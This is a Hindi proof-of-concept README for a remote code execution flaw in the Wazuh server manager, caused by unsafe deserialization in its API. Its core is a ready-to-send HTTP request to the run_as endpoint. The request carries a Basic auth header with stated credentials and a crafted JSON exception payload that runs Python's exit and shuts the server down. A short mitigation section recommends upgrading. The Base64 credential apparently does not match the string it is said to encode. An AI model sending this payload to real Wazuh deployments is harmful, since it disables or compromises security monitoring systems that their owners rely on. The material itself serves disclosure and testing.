Wazuh रिमोट कोड एक्ज़ीक्यूशन (RCE) - PoC

भेद्यता अवलोकन

यह रिपॉजिटरी Wazuh सर्वर में रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता को प्रदर्शित करती है, जो wazuh-manager पैकेज में असुरक्षित डिसीरियलाइज़ेशन के कारण उत्पन्न हुई है। यह भेद्यता API एक्सेस वाले रिमोट हमलावरों (समझौता किया गया डैशबोर्ड, क्लस्टर में Wazuh सर्वर, या समझौता किए गए एजेंटों वाले कुछ कॉन्फ़िगरेशन) को सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है।

प्रभावित संस्करण

• wazuh-manager संस्करण >= 4.4.0
• संस्करण >= 4.9.1 में पैच किया गया

विवरण

भेद्यता Wazuh API में होती है, जहाँ DistributedAPI में पैरामीटर JSON के रूप में सीरियलाइज़ किए जाते हैं और framework/wazuh/core/cluster/common.py फ़ाइल में as_wazuh_object का उपयोग करके डिसीरियलाइज़ किए जाते हैं। एक हमलावर DAPI अनुरोधों में एक अस्वच्छित डिक्शनरी इंजेक्ट करके इस भेद्यता का शोषण कर सकता है, जिससे मनमाना Python कोड का मूल्यांकन हो सकता है।

RCE को run_as एंडपॉइंट का उपयोग करके ट्रिगर किया जा सकता है, जो हमलावर को auth_context तर्क को नियंत्रित करने की अनुमति देता है। एक दुर्भावनापूर्ण अनुरोध तैयार करके, मास्टर सर्वर पर मनमाना कोड निष्पादित किया जा सकता है।

प्रूफ ऑफ कॉन्सेप्ट

सर्वर API का उपयोग करके इस भेद्यता को ट्रिगर करने के लिए, नीचे दिए गए चरणों का पालन करें।

PoC Burp Suite अनुरोध

1. भेद्यता को ट्रिगर करने के लिए Burp Suite अनुरोध:

POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
  "__unhandled_exc__": {
    "__class__": "exit",
    "__args__": []
  }
}

2. अनुरोध का स्पष्टीकरण:

• प्राधिकरण हेडर: यह बेस64-एनकोडेड प्राधिकरण (wazuh-wui:MyS3cr37P450r.*-) है।
• पेलोड: दुर्भावनापूर्ण पेलोड में अस्वच्छित अपवाद __unhandled_exc__ शामिल है, जो मनमाना Python कोड (इस मामले में exit) के निष्पादन को ट्रिगर करता है।

प्रभाव

• रिमोट कोड एक्ज़ीक्यूशन (RCE): यह भेद्यता हमलावरों को Wazuh सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है, जो संस्करण >= 4.4.0 से 4.9.0 (अभी तक पैच नहीं किया गया) को प्रभावित करती है।
• संभावित सेवा अस्वीकृति: इस PoC में, exit फ़ंक्शन ट्रिगर होता है, जिससे Wazuh सर्वर बंद हो जाता है।

शमन

अपने सिस्टम की सुरक्षा के लिए, Wazuh संस्करण >= 4.9.1 में अपग्रेड करें, जहाँ इस समस्या को पैच किया गया है।